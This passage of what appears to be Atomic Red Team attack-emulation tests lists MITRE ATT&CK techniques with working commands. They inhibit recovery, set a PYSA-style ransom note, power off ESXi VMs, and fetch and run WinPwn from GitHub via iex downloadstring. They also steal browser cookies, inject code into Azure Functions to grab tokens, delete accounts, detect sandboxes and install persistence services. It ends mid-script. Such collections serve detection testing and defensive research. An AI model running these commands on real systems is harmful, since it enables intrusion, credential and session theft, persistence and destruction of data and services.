T1490 - Inhibit System Recovery

Modify VSS Service Permissions

sc sdset VSS D:(D;;GA;;;NU)(D;;GA;;;WD)(D;;GA;;;AN)S:(AU;FA;GA;;;WD)(AU;OIIOFA;GA;;;WD)

T1490 - Inhibit System Recovery

Disable Time Machine

sudo tmutil disable

T1491.001 - Defacement: Internal Defacement

Replace Desktop Wallpaper

$url = "https://redcanary.com/wp-content/uploads/Atomic-Red-Team-Logo.png"
$imgLocation = "$env:TEMP\T1491.001-newWallpaper.png"
$orgWallpaper = (Get-ItemProperty -Path Registry::'HKEY_CURRENT_USER\Control Panel\Desktop\' -Name WallPaper).WallPaper
$orgWallpaper | Out-File -FilePath "$env:TEMP\T1491.001-OrginalWallpaperLocation"
$updateWallpapercode = @'
using System.Runtime.InteropServices;
namespace Win32{

public class Wallpaper{
[DllImport("user32.dll", CharSet=CharSet.Auto)]
static extern int SystemParametersInfo (int uAction , int uParam , string lpvParam , int fuWinIni) ;

public static void SetWallpaper(string thePath){
SystemParametersInfo(20,0,thePath,3);
}
}
}
'@
$wc = New-Object System.Net.WebClient
try{
$wc.DownloadFile($url, $imgLocation)
add-type $updateWallpapercode
[Win32.Wallpaper]::SetWallpaper($imgLocation)
}
catch [System.Net.WebException]{
Write-Host("Cannot download $url")
add-type $updateWallpapercode
[Win32.Wallpaper]::SetWallpaper($imgLocation)
}
finally{
$wc.Dispose()
}

T1491.001 - Defacement: Internal Defacement

Configure LegalNoticeCaption and LegalNoticeText registry keys to display ransom message

$orgLegalNoticeCaption = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name LegalNoticeCaption).LegalNoticeCaption
$orgLegalNoticeText = (Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name LegalNoticeText).LegalNoticeText
$newLegalNoticeCaption = "PYSA"
$newLegalNoticeText = "Hi Company, every byte on any types of your devices was encrypted. Don't try to use backups because it were encrypted too. To get all your data contact us:xxxx@onionmail.org"
Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name LegalNoticeCaption -Value $newLegalNoticeCaption -Type String -Force
Set-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System -Name LegalNoticeText -Value $newLegalNoticeText -Type String -Force

T1491.001 - Defacement: Internal Defacement

ESXi - Change Welcome Message on Direct Console User Interface (DCUI)

echo "" | "..\ExternalPayloads\plink.exe" -batch "atomic.local" -ssh -l root -pw "password" "esxcli system welcomemsg set -m 'RANSOMWARE-NOTIFICATION'"

T1491.001 - Defacement: Internal Defacement

Windows - Display a simulated ransom note via Notepad (non-destructive)

$notePath = Join-Path $env:TEMP "ART-T1491-ransom-note.txt"
$pidPath = Join-Path $env:TEMP "ART-T1491-notepad.pid"

$Title = "!!! READ_ME_NOW !!!"
$Body = "Your files are SAFE. This is a TEST note for detection validation
by bak3n3k0. No data has been encrypted. This simulation exercises
detections for:
- notepad.exe launched with a ransom-themed text file
- creation of a ransom-themed text file in %TEMP%
NON-DESTRUCTIVE Atomic Red Team test.
"

$header = $Title + "`r`n" + ('=' * $Title.Length) + "`r`n`r`n"
$content = $header + $Body

[System.IO.File]::WriteAllText($notePath, $content, [System.Text.Encoding]::UTF8)

$p = Start-Process notepad.exe -ArgumentList "`"$notePath`"" -PassThru
$p.Id | Out-File -FilePath $pidPath -Encoding ascii -Force

T1496 - Resource Hijacking

FreeBSD/macOS/Linux - Simulate CPU Load with Yes

yes > /dev/null

T1497.001 - Virtualization/Sandbox Evasion: System Checks

Detect Virtualization Environment (Linux)

if (systemd-detect-virt) then echo "Virtualization Environment detected"; fi;
if (sudo dmidecode | egrep -i 'manufacturer|product|vendor' | grep -iE 'Oracle|VirtualBox|VMWare|Parallels') then echo "Virtualization Environment detected"; fi;

T1497.001 - Virtualization/Sandbox Evasion: System Checks

Detect Virtualization Environment (FreeBSD)

if [ "$(sysctl -n hw.hv_vendor)" != "" ]; then echo "Virtualization Environment detected"; fi

T1497.001 - Virtualization/Sandbox Evasion: System Checks

Detect Virtualization Environment (Windows)

$error.clear()
Get-WmiObject -Query "SELECT * FROM MSAcpi_ThermalZoneTemperature" -ErrorAction SilentlyContinue
if($error) {echo "Virtualization Environment detected"}

T1497.001 - Virtualization/Sandbox Evasion: System Checks

Detect Virtualization Environment via ioreg

if (ioreg -l | grep -e Manufacturer -e 'Vendor Name' | grep -iE 'Oracle|VirtualBox|VMWare|Parallels') then echo 'Virtualization Environment detected'; fi;

T1497.001 - Virtualization/Sandbox Evasion: System Checks

Detect Virtualization Environment via WMI Manufacturer/Model Listing (Windows)

$Manufacturer = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty "Manufacturer"
$Model = Get-WmiObject -Class Win32_ComputerSystem | select-object -expandproperty "Model"
if((($Manufacturer.ToLower() -eq "microsoft corporation") -and ($Model.ToLower().contains("virtual"))) -or ($Manufacturer.ToLower().contains("vmware")) -or ($Model.ToLower() -eq "virtualbox")) {write-host "Virtualization environment detected!"} else {write-host "No virtualization environment detected!"}

T1497.001 - Virtualization/Sandbox Evasion: System Checks

Detect Virtualization Environment using sysctl (hw.model)

if [ "$(sysctl -n hw.model | grep -v 'Mac')" != "" ]; then echo 'Virtualization Environment detected'; fi;

T1497.001 - Virtualization/Sandbox Evasion: System Checks

Check if System Integrity Protection is enabled

if [ "$(csrutil status | grep -v 'enabled')" != "" ]; then echo 'Possible Virtualization Environment detected'; fi;

T1497.001 - Virtualization/Sandbox Evasion: System Checks

Detect Virtualization Environment using system_profiler

if [ "$(system_profiler SPHardwareDataType | grep "Model Identifier" | grep -v 'Mac')" != "" ]; then echo 'Virtualization Environment detected'; fi;

T1497.003 - Time Based Evasion

Delay execution with ping

ping -c 250 8.8.8.8 > /dev/null
whoami

T1505.002 - Server Software Component: Transport Agent

Install MS Exchange Transport Agent Persistence

Install-TransportAgent -Name Security Interop Agent -TransportAgentFactory Microsoft.Exchange.Security.Interop.SecurityInteropAgentFactory -AssemblyPath c:\program files\microsoft\Exchange Server\v15\bin\Microsoft.Exchange.Security.Interop.dll
Enable-TransportAgent Security Interop Agent
Get-TransportAgent | Format-List Name,Enabled

T1505.003 - Server Software Component: Web Shell

Web Shell Written to Disk

xcopy /I /Y "T1505.003\src" C:\inetpub\wwwroot

T1505.004 - IIS Components

Install IIS Module using AppCmd.exe

%windir%\system32\inetsrv\appcmd.exe install module /name:DefaultDocumentModule_Atomic /image:%windir%\system32\inetsrv\defdoc.dll

T1505.004 - IIS Components

Install IIS Module using PowerShell Cmdlet New-WebGlobalModule

New-WebGlobalModule -Name DefaultDocumentModule_Atomic -Image %windir%\system32\inetsrv\defdoc.dll

T1505.005 - Server Software Component: Terminal Services DLL

Simulate Patching termsrv.dll

$termsrvDll = "C:\Windows\System32\termsrv.dll"

$ACL = Get-Acl $termsrvDll
$permission = "Administrators","FullControl","Allow"
$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission
$ACL.SetAccessRule($accessRule)
Set-Acl -Path $termsrvDll -AclObject $ACL

Copy-Item -Path "C:\Windows\System32\termsrv.dll" -Destination "C:\Windows\System32\termsrv_backup.dll" -ErrorAction Ignore
Add-Content -Path "C:\Windows\System32\termsrv.dll" -Value "`n" -NoNewline -ErrorAction Ignore
Move-Item -Path "C:\Windows\System32\termsrv_backup.dll" -Destination "C:\Windows\System32\termsrv.dll" -Force -ErrorAction Ignore

T1505.005 - Server Software Component: Terminal Services DLL

Modify Terminal Services DLL Path

$termsrvDll = "C:\Windows\System32\termsrv.dll"

$ACL = Get-Acl $termsrvDll
$permission = "Administrators","FullControl","Allow"
$accessRule = New-Object System.Security.AccessControl.FileSystemAccessRule $permission
$ACL.SetAccessRule($accessRule)
Set-Acl -Path $termsrvDll -AclObject $ACL

Copy-Item -Path $termsrvDll -Destination "$HOME\AtomicTest.dll"

$newServiceDll = "$HOME\AtomicTest.dll"

$registryPath = "HKLM:\System\CurrentControlSet\services\TermService\Parameters"

# Check if the registry key exists
if (Test-Path -Path $registryPath) {
# Modify the ServiceDll value in the registry
Set-ItemProperty -Path $registryPath -Name "ServiceDll" -Value $newServiceDll
Write-Host "ServiceDll value in the registry has been updated to: $newServiceDll"
} else {
Write-Host "Registry key not found. Make sure the 'TermService\Parameters' key exists."
}

T1518.001 - Software Discovery: Security Software Discovery

Security Software Discovery

netsh.exe advfirewall show allprofiles
netsh.exe advfirewall firewall dump
netsh.exe advfirewall show currentprofile
netsh.exe advfirewall firewall show rule name=all
netsh.exe firewall show state
netsh.exe firewall show config
sc query windefend
powershell.exe /c "Get-Process | Where-Object { $_.ProcessName -eq 'Sysmon' }"
powershell.exe /c "Get-Service | where-object {$_.DisplayName -like '*sysm*'}"
powershell.exe /c "Get-CimInstance Win32_Service -Filter 'Description = ''System Monitor service'''"
tasklist.exe
tasklist.exe | findstr /i virus
tasklist.exe | findstr /i cb
tasklist.exe | findstr /i defender
tasklist.exe | findstr /i cylance
tasklist.exe | findstr /i mc
tasklist.exe | findstr /i "virus cb defender cylance mc"

T1518.001 - Software Discovery: Security Software Discovery

Security Software Discovery - powershell

get-process | ?{$_.Description -like "*virus*"}
get-process | ?{$_.Description -like "*carbonblack*"}
get-process | ?{$_.Description -like "*defender*"}
get-process | ?{$_.Description -like "*cylance*"}
get-process | ?{$_.Description -like "*mc*"}
get-process | ?{$_.ProcessName -like "*mc*"}
get-process | Where-Object { $_.ProcessName -eq "Sysmon" }

T1518.001 - Software Discovery: Security Software Discovery

Security Software Discovery - ps (macOS)

ps aux | egrep 'Little\ Snitch|CbOsxSensorService|falcond|nessusd|santad|CbDefense|td-agent|packetbeat|filebeat|auditbeat|osqueryd|BlockBlock|LuLu'

T1518.001 - Software Discovery: Security Software Discovery

Security Software Discovery - ps (Linux)

ps aux | egrep 'falcond|nessusd|cbagentd|td-agent|packetbeat|filebeat|auditbeat|osqueryd'

T1518.001 - Software Discovery: Security Software Discovery

Security Software Discovery - pgrep (FreeBSD)

pgrep -l 'bareos-fd|icinga2|cbagentd|wazuh-agent|packetbeat|filebeat|osqueryd'

T1518.001 - Software Discovery: Security Software Discovery

Security Software Discovery - Sysmon Service

fltmc.exe | findstr.exe 385201

T1518.001 - Software Discovery: Security Software Discovery

Security Software Discovery - AV Discovery via WMI

wmic.exe /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List

T1518.001 - Software Discovery: Security Software Discovery

Security Software Discovery - AV Discovery via Get-CimInstance and Get-WmiObject cmdlets

powershell Get-CimInstance -Namespace root/securityCenter2 -classname antivirusproduct
powershell Get-WmiObject -Namespace root\securitycenter2 -Class antivirusproduct

T1518.001 - Software Discovery: Security Software Discovery

Security Software Discovery - Windows Defender Enumeration

Get-Service WinDefend #check the service state of Windows Defender
Get-MpComputerStatus #provides the current status of security solution elements, including Anti-Spyware, Antivirus, LoavProtection, Real-time protection, etc
Get-MpThreat #threats details that have been detected using MS Defender

T1518.001 - Software Discovery: Security Software Discovery

Security Software Discovery - Windows Firewall Enumeration

Get-NetFirewallProfile | Format-Table Name, Enabled
Get-NetFirewallSetting
Get-NetFirewallRule | select DisplayName, Enabled, Description

T1518.001 - Software Discovery: Security Software Discovery

Get Windows Defender exclusion settings using WMIC

wmic /Node:localhost /Namespace:\\root\Microsoft\Windows\Defender Path MSFT_MpPreference Get /format:list | findstr /i /C:"DisableRealtimeMonitoring" /C:"ExclusionPath" /C:"ExclusionExtension" /C:"ExclusionProcess"

T1518 - Software Discovery

Find and Display Internet Explorer Browser Version

reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer" /v svcVersion

T1518 - Software Discovery

Applications Installed

Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -Autosize
Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -Autosize

T1518 - Software Discovery

Find and Display Safari Browser Version

/usr/libexec/PlistBuddy -c "print :CFBundleShortVersionString" /Applications/Safari.app/Contents/Info.plist
/usr/libexec/PlistBuddy -c "print :CFBundleVersion" /Applications/Safari.app/Contents/Info.plist

T1518 - Software Discovery

WinPwn - Dotnetsearch

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Dotnetsearch -noninteractive -consoleoutput

T1518 - Software Discovery

WinPwn - DotNet

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
dotnet -consoleoutput -noninteractive

T1518 - Software Discovery

WinPwn - powerSQL

iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powerSQL -noninteractive -consoleoutput

T1526 - Cloud Service Discovery

Azure - Dump Subscription Data with MicroBurst

import-module "..\ExternalPayloads\Get-AzDomainInfo.ps1"
$Password = ConvertTo-SecureString -String "T1082Az" -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "None", $Password
Connect-AzAccount -Credential $Credential | out-null
Get-AzDomainInfo -folder $env:temp\T1526Test1 -subscription "None" -verbose

T1526 - Cloud Service Discovery

AWS - Enumerate common cloud services

Import-Module "T1526\src\AWSDiscovery.ps1"
$access_key = ""
$secret_key = ""
$session_token = ""
$aws_profile = ""
$regions = "us-east-1,us-east-2,us-west-1,us-west-2"
Set-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -SessionToken $session_token -AWSProfile $aws_profile
Get-AWSDiscoveryData -Regions $regions -OutputDirectory "$env:TMPDIR/aws_discovery"
Remove-BlankFiles -OutputDirectory "$env:TMPDIR/aws_discovery"

T1526 - Cloud Service Discovery

Azure - Enumerate common cloud services

Import-Module "T1526\src\AzureDiscovery.ps1"
$client_id = "None"
$client_secret = "None"
$tenant_id = "None"
$environment = "AzureCloud"
Set-AzureAuthentication -ClientID $client_id -ClientSecret $client_secret -TenantID $tenant_id -Environment $environment
Get-AzureDiscoveryData -OutputDirectory "$env:TMPDIR/azure_discovery" -Environment $environment
Remove-BlankFiles -OutputDirectory "$env:TMPDIR/azure_discovery"

T1528 - Steal Application Access Token

Azure - Functions code upload - Functions code injection via Blob upload

az login # Log in to Azure CLI

$allowSharedKeyAccess = az storage account show --name "storage_account_name_example" --query "allowSharedKeyAccess"

if ($allowSharedKeyAccess -eq "false") { # $allowSharedKeyAccess could be true or null
Write-Output "Shared key access is disabled for this storage account."
} else {
$connectionString = az storage account show-connection-string --name "storage_account_name_example" --query connectionString --output tsv

# Download blob for cleanup
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1528_tmp_original_" + "blob_example")
az storage blob download --connection-string $connectionString --container-name "container_name_example" --name "blob_example" --file $tmpOriginalFunctionCode --overwrite true

if ($LASTEXITCODE -eq 0) {
# Upload new blob version if download of existing blob succeeded
az storage blob upload --connection-string $connectionString --container-name "container_name_example" --name "blob_example" --file "$env:temp/T1528_function_code.zip" --overwrite true
} else {
Write-Output "Download original function code failed."
exit 1
}
}

T1528 - Steal Application Access Token

Azure - Functions code upload - Functions code injection via File Share modification to retrieve the Functions identity access token

az login # Log in to Azure CLI

$allowSharedKeyAccess = az storage account show --name "storage_account_name_example" --query "allowSharedKeyAccess"

if ($allowSharedKeyAccess -eq "false") { # $allowSharedKeyAccess could be true or null
Write-Output "Shared key access is disabled for this storage account."
} else {
# Download file for cleanup
$tmpOriginalFileName = [System.IO.Path]::GetFileName("site/wwwroot/function_app.py")
$tmpOriginalFunctionCode = Join-Path $env:temp/ ("T1528_tmp_original_" + $tmpOriginalFileName)
az storage file download --account-name "storage_account_name_example" --share-name "file_share_name_example" -p "site/wwwroot/function_app.py" --only-show-errors --dest $tmpOriginalFunctionCode

if ($LASTEXITCODE -eq 0) {
# Upload new funciton code if download of existing code succeeded
if ("insert_code" -eq "insert_code") {
# Download file from file share for injection
$tmpFunctionCode = Join-Path $env:temp/ ("T1528_tmp_to_inject_" + $tmpOriginalFileName)
az storage file download --account-name "storage_account_name_example" --share-name "file_share_name_example" -p "site/wwwroot/function_app.py" --only-show-errors --dest $tmpFunctionCode

if ($LASTEXITCODE -ne 0) {
Write-Output "Function code download failed."
exit 1
}
Write-Output "File downloaded: $($tmpFunctionCode)"

$insertContent = Get-Content -Path "$T1528/src/code_to_insert.py" -Raw # Load the content of the insert file

$content = Get-Content -Path $tmpFunctionCode -Raw # Inject code to file
$content = $insertContent + "`n" + $content # Insert the new code at the beginning
$content | Set-Content -Path $tmpFunctionCode # Write the modified content to the file

# Upload file to file share
az storage file upload --account-name "storage_account_name_example" --share-name "file_share_name_example" -p "site/wwwroot/function_app.py" --source $tmpFunctionCode --only-show-errors
if ($LASTEXITCODE -ne 0) {
Write-Output "Function code upload failed."
exit 1
}
Write-Output "Uploaded the tampered file"
} elseif ("insert_code" -eq "replace_file") {
az storage file upload --account-name "storage_account_name_example" --share-name "file_share_name_example" -p "site/wwwroot/function_app.py" --source "$T1528/src/code_to_insert.py" --only-show-errors
if ($LASTEXITCODE -ne 0) {
Write-Output "Function code upload failed."
exit 1
}
Write-Output "Uploaded the tampered file"
} else {
Write-Output "Please choose a valid execution_option"
exit 1
}
} else {
Write-Output "Download original function code failed."
exit 1
}
}

T1529 - System Shutdown/Reboot

Shutdown System - Windows

shutdown /s /t 1

T1529 - System Shutdown/Reboot

Restart System - Windows

shutdown /r /t 1

T1529 - System Shutdown/Reboot

Restart System via `shutdown` - FreeBSD/macOS/Linux

shutdown -r now

T1529 - System Shutdown/Reboot

Shutdown System via `shutdown` - FreeBSD/macOS/Linux

shutdown -h now

T1529 - System Shutdown/Reboot

Restart System via `reboot` - FreeBSD/macOS/Linux

reboot

T1529 - System Shutdown/Reboot

Shutdown System via `halt` - FreeBSD/Linux

halt -p

T1529 - System Shutdown/Reboot

Reboot System via `halt` - FreeBSD

halt -r

T1529 - System Shutdown/Reboot

Reboot System via `halt` - Linux

halt --reboot

T1529 - System Shutdown/Reboot

Shutdown System via `poweroff` - FreeBSD/Linux

poweroff

T1529 - System Shutdown/Reboot

Reboot System via `poweroff` - FreeBSD

poweroff -r 3

T1529 - System Shutdown/Reboot

Reboot System via `poweroff` - Linux

poweroff --reboot

T1529 - System Shutdown/Reboot

Logoff System - Windows

shutdown /l

T1529 - System Shutdown/Reboot

ESXi - Terminates VMs using pkill

echo "" | "..\ExternalPayloads\plink.exe" "atomic.local" -ssh -l "root" -pw "pass" -m "T1529\src\esx_pkill.txt"

T1529 - System Shutdown/Reboot

ESXi - Avoslocker enumerates VMs and forcefully kills VMs

echo "" | "..\ExternalPayloads\plink.exe" "atomic.local" -ssh -l "root" -pw "pass" -m "T1529\src\esx_avoslocker_kill_vm.txt"

T1529 - System Shutdown/Reboot

ESXi - vim-cmd Used to Power Off VMs

echo "" | "..\ExternalPayloads\plink.exe" -batch "atomic.local" -ssh -l root -pw "password" "for i in `vim-cmd vmsvc/getallvms | awk 'NR>1 {print $1}'`; do vim-cmd vmsvc/power.off $i & done"

T1529 - System Shutdown/Reboot

Abuse of Linux Magic System Request Key for Reboot

echo "b" > /proc/sysrq-trigger

T1530 - Data from Cloud Storage Object

AWS - Scan for Anonymous Access to S3

aws --no-sign-request s3 cp --recursive s3://redatomic-test2 /tmp/redatomic-test2

T1530 - Data from Cloud Storage Object

Azure - Dump Azure Storage Account Objects via Azure CLI

$storage_account_objects = Import-Csv -Path "$env:temp\T1619_storage_account_objects.csv"

# Login to Azure
az login

if (-not (Test-Path -Path "$env:temp\T1530_storage_account_objects")) {
New-Item -ItemType Directory -Path "$env:temp\T1530_storage_account_objects"
}

foreach ($row in $storage_account_objects) {

if ($row.FileShareName -ne ""){
$allowSharedKeyAccess = az storage account show --name $row.StorageAccountName --resource-group $row.ResourceGroup --query "allowSharedKeyAccess"

if ($allowSharedKeyAccess -eq "false") { # $allowSharedKeyAccess could be true or null
Write-Output "Shared key access is disabled for this storage account."
} else {
Write-Output "Fetching content from file share: $($row.FileShareName) in storage account $($row.StorageAccountName) ..."
$connectionString = az storage account show-connection-string --name $row.StorageAccountName --resource-group $row.ResourceGroup --query connectionString --output tsv

# Create folder for storage account objects
$storageAccountOutputPath = Join-Path $env:temp\T1530_storage_account_objects "$($row.ResourceGroup)_$($row.StorageAccountName)"
if (-not (Test-Path -Path $storageAccountOutputPath)) {
New-Item -ItemType Directory -Path $storageAccountOutputPath
}

# create folder for file share content
$fileSharePath = Join-Path -Path $storageAccountOutputPath $row.FileShareName
if (-not (Test-Path -Path $fileSharePath)) {
New-Item -ItemType Directory -Path $fileSharePath
}
az storage file download-batch --connection-string $connectionString --source $row.FileShareName --destination $fileSharePath
}
} elseif ($row.ContainerName -ne "" -and $row.BlobName -eq "") {
$allowSharedKeyAccess = az storage account show --name $row.StorageAccountName --resource-group $row.ResourceGroup --query "allowSharedKeyAccess"

if ($allowSharedKeyAccess -eq "false") { # $allowSharedKeyAccess could be true or null
Write-Output "Shared key access is disabled for this storage account."
} else {
Write-Output "Fetching all blobs from container $($row.ContainerName) in storage account $($row.StorageAccountName) ..."
$connectionString = az storage account show-connection-string --name $row.StorageAccountName --resource-group $row.ResourceGroup --query connectionString --output tsv

# Create folder for storage account objects
$storageAccountOutputPath = Join-Path $env:temp\T1530_storage_account_objects "$($row.ResourceGroup)_$($row.StorageAccountName)"
if (-not (Test-Path -Path $storageAccountOutputPath)) {
New-Item -ItemType Directory -Path $storageAccountOutputPath
}

# create folder for blob content
$containerFolderPath = Join-Path $storageAccountOutputPath $row.ContainerName
if (-not (Test-Path -Path $containerFolderPath)) {
New-Item -ItemType Directory -Path $containerFolderPath
}
az storage blob download-batch --destination $containerFolderPath --source $row.ContainerName --connection-string $connectionString
}
}
}

T1531 - Account Access Removal

Change User Password - Windows

net user AtomicAdministrator User2ChangePW! /add
net.exe user AtomicAdministrator HuHuHUHoHo283283@dJD

T1531 - Account Access Removal

Delete User - Windows

net user AtomicUser User2DeletePW! /add
net.exe user AtomicUser /delete

T1531 - Account Access Removal

Remove Account From Domain Admin Group

$PWord = ConvertTo-SecureString -String password -AsPlainText -Force
$Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList domain\super_user, $PWord
if((Get-ADUser remove_user -Properties memberof).memberof -like "CN=Domain Admins*"){
Remove-ADGroupMember -Identity "Domain Admins" -Members remove_user -Credential $Credential -Confirm:$False
} else{
write-host "Error - Make sure remove_user is in the domain admins group" -foregroundcolor Red
}

T1531 - Account Access Removal

Change User Password via passwd

passwd ARTUser #enter admin password > enter new password > confirm new password

T1531 - Account Access Removal

Delete User via dscl utility

dscl . -delete /Users/ARTUser #enter admin password

T1531 - Account Access Removal

Delete User via sysadminctl utility

sysadminctl -deleteUser ARTUserAccount #enter admin password

T1531 - Account Access Removal

Azure AD - Delete user via Azure AD PowerShell

Connect-AzureAD
$userprincipalname = "atomicredteam@yourdomain.com"
Remove-AzureADUser -ObjectId $userprincipalname

T1531 - Account Access Removal

Azure AD - Delete user via Azure CLI

az login
$userprincipalname = "atomicredteam@yourdomain.com"
az ad user delete --id $userprincipalname

T1539 - Steal Web Session Cookie

Steal Firefox Cookies (Windows)

stop-process -name "firefox" -force -erroraction silentlycontinue
$CookieDBLocation = get-childitem -path "$env:appdata\Mozilla\Firefox\Profiles\*\cookies.sqlite"
"select host, name, value, path, expiry, isSecure, isHttpOnly, sameSite from [moz_cookies];" | cmd /c ..\ExternalPayloads\sqlite-tools-win32-x86-3380200\sqlite3.exe "$CookieDBLocation" | out-file -filepath "..\ExternalPayloads\T1539FirefoxCookies.txt"

T1539 - Steal Web Session Cookie

Steal Chrome Cookies (Windows)

stop-process -name "chrome" -force -erroraction silentlycontinue
"select host_key, name, encrypted_value, path, expires_utc, is_secure, is_httponly from [Cookies];" | cmd /c ..\ExternalPayloads\sqlite-tools-win32-x86-3380200\sqlite3.exe "$env:localappdata\Google\Chrome\User Data\Default\Network\Cookies" | out-file -filepath "..\ExternalPayloads\T1539ChromeCookies.txt"

T1539 - Steal Web Session Cookie

Steal Chrome Cookies via Remote Debugging (Mac)

killall 'Google Chrome'
sleep 1
open -a "/Applications/Google Chrome.app/Contents/MacOS/Google Chrome" --args --remote-debugging-port=1337 --remote-allow-origins=http://localhost/
sleep 1
/tmp/WhiteChocolateMacademiaNut/chocolate -d cookies -p 1337

T1539 - Steal Web Session Cookie

Steal Chrome v127+ cookies via Remote Debugging (Windows)

$devToolsPort = 9222
$testUrl = "https://www.google.com"
stop-process -name "chrome" -force -erroraction silentlycontinue
$chromeProcess = Start-Process "chrome.exe" "$testUrl --remote-debugging-port=$devToolsPort --profile-directory=Default" -PassThru
Start-Sleep 10
$jsonResponse = Invoke-WebRequest "http://localhost:$devToolsPort/json" -UseBasicParsing
$devToolsPages = ConvertFrom-Json $jsonResponse.Content
$ws_url = $devToolsPages[0].webSocketDebuggerUrl
$ws = New-Object System.Net.WebSockets.ClientWebSocket
$uri = New-Object System.Uri($ws_url)
$ws.ConnectAsync($uri, [System.Threading.CancellationToken]::None).Wait()
$GET_ALL_COOKIES_REQUEST = '{"id": 1, "method": "Network.getAllCookies"}'
$buffer = [System.Text.Encoding]::UTF8.GetBytes($GET_ALL_COOKIES_REQUEST)
$segment = New-Object System.ArraySegment[byte] -ArgumentList $buffer, 0, $buffer.Length
$ws.SendAsync($segment, [System.Net.WebSockets.WebSocketMessageType]::Text, $true, [System.Threading.CancellationToken]::None).Wait()
$completeMessage = New-Object System.Text.StringBuilder
do {
$receivedBuffer = New-Object byte[] 2048
$receivedSegment = New-Object System.ArraySegment[byte] -ArgumentList $receivedBuffer, 0, $receivedBuffer.Length
$result = $ws.ReceiveAsync($receivedSegment, [System.Threading.CancellationToken]::None).Result
$receivedString = [System.Text.Encoding]::UTF8.GetString($receivedSegment.Array, $receivedSegment.Offset, $result.Count)
$completeMessage.Append($receivedString)
} while (-not $result.EndOfMessage)
$ws.CloseAsync([System.Net.WebSockets.WebSocketCloseStatus]::NormalClosure, "Closing", [System.Threading.CancellationToken]::None).Wait()
try {
$response = ConvertFrom-Json $completeMessage.ToString()
$cookies = $response.result.cookies
} catch {
Write-Host "Error parsing JSON data."
}
Write-Host $cookies
Stop-Process $chromeProcess -Force

T1539 - Steal Web Session Cookie

Copy Safari BinaryCookies files using AppleScript

osascript -e 'tell application "Finder"' -e 'set destinationFolderPath to POSIX file "/private/tmp"' -e 'set safariFolder to ((path to library folder from user domain as text) & "Containers:com.apple.Safari:Data:Library:Cookies:")' -e 'duplicate file "Cookies.binarycookies" of folder safariFolder to folder destinationFolderPath with replacing' -e 'end tell'

T1542.001 - Pre-OS Boot: System Firmware

UEFI Persistence via Wpbbin.exe File Creation

echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"

T1543.001 - Create or Modify System Process: Launch Agent

Launch Agent

if [ ! -d ~/Library/LaunchAgents ]; then mkdir ~/Library/LaunchAgents; fi;
sudo cp $T1543.001/src/atomicredteam_T1543_001.plist ~/Library/LaunchAgents/com.atomicredteam.plist
sudo launchctl load -w ~/Library/LaunchAgents/com.atomicredteam.plist

T1543.001 - Create or Modify System Process: Launch Agent

Event Monitor Daemon Persistence

sudo cp $T1543.001/src/atomicredteam_T1543_001.plist /etc/emond.d/rules/atomicredteam_T1543_001.plist
sudo touch /private/var/db/emondClients/randomflag

T1543.001 - Create or Modify System Process: Launch Agent

Launch Agent - Root Directory

sudo cp $T1543.001/src/atomicredteam_T1543_001.plist /Library/LaunchAgents/com.atomicredteam.T1543.001.plist
launchctl load -w /Library/LaunchAgents/com.atomicredteam.T1543.001.plist

T1543.002 - Create or Modify System Process: SysV/Systemd Service

Create Systemd Service

echo "[Unit]" > /etc/systemd/system/art-systemd-service.service
echo "Description=Atomic Red Team Systemd Service" >> /etc/systemd/system/art-systemd-service.service
echo "" >> /etc/systemd/system/art-systemd-service.service
echo "[Service]" >> /etc/systemd/system/art-systemd-service.service
echo "Type=simple"
echo "ExecStart=/bin/touch /tmp/art-systemd-execstart-marker" >> /etc/systemd/system/art-systemd-service.service
echo "ExecStartPre=/bin/touch /tmp/art-systemd-execstartpre-marker" >> /etc/systemd/system/art-systemd-service.service
echo "ExecStartPost=/bin/touch /tmp/art-systemd-execstartpost-marker" >> /etc/systemd/system/art-systemd-service.service
echo "ExecReload=/bin/touch /tmp/art-systemd-execreload-marker" >> /etc/systemd/system/art-systemd-service.service
echo "ExecStop=/bin/touch /tmp/art-systemd-execstop-marker" >> /etc/systemd/system/art-systemd-service.service
echo "ExecStopPost=/bin/touch /tmp/art-systemd-execstoppost-marker" >> /etc/systemd/system/art-systemd-service.service
echo "" >> /etc/systemd/system/art-systemd-service.service
echo "[Install]" >> /etc/systemd/system/art-systemd-service.service
echo "WantedBy=default.target" >> /etc/systemd/system/art-systemd-service.service
systemctl daemon-reload
systemctl enable art-systemd-service.service
systemctl start art-systemd-service.service

T1543.002 - Create or Modify System Process: SysV/Systemd Service

Create SysV Service

echo '#\!/bin/sh' > /usr/local/etc/rc.d/art-test
echo ' ' >> /usr/local/etc/rc.d/art-test
echo '#' >> /usr/local/etc/rc.d/art-test
echo '# PROVIDE: art-test' >> /usr/local/etc/rc.d/art-test
echo '# REQUIRE: LOGIN' >> /usr/local/etc/rc.d/art-test
echo '# KEYWORD: shutdown' >> /usr/local/etc/rc.d/art-test
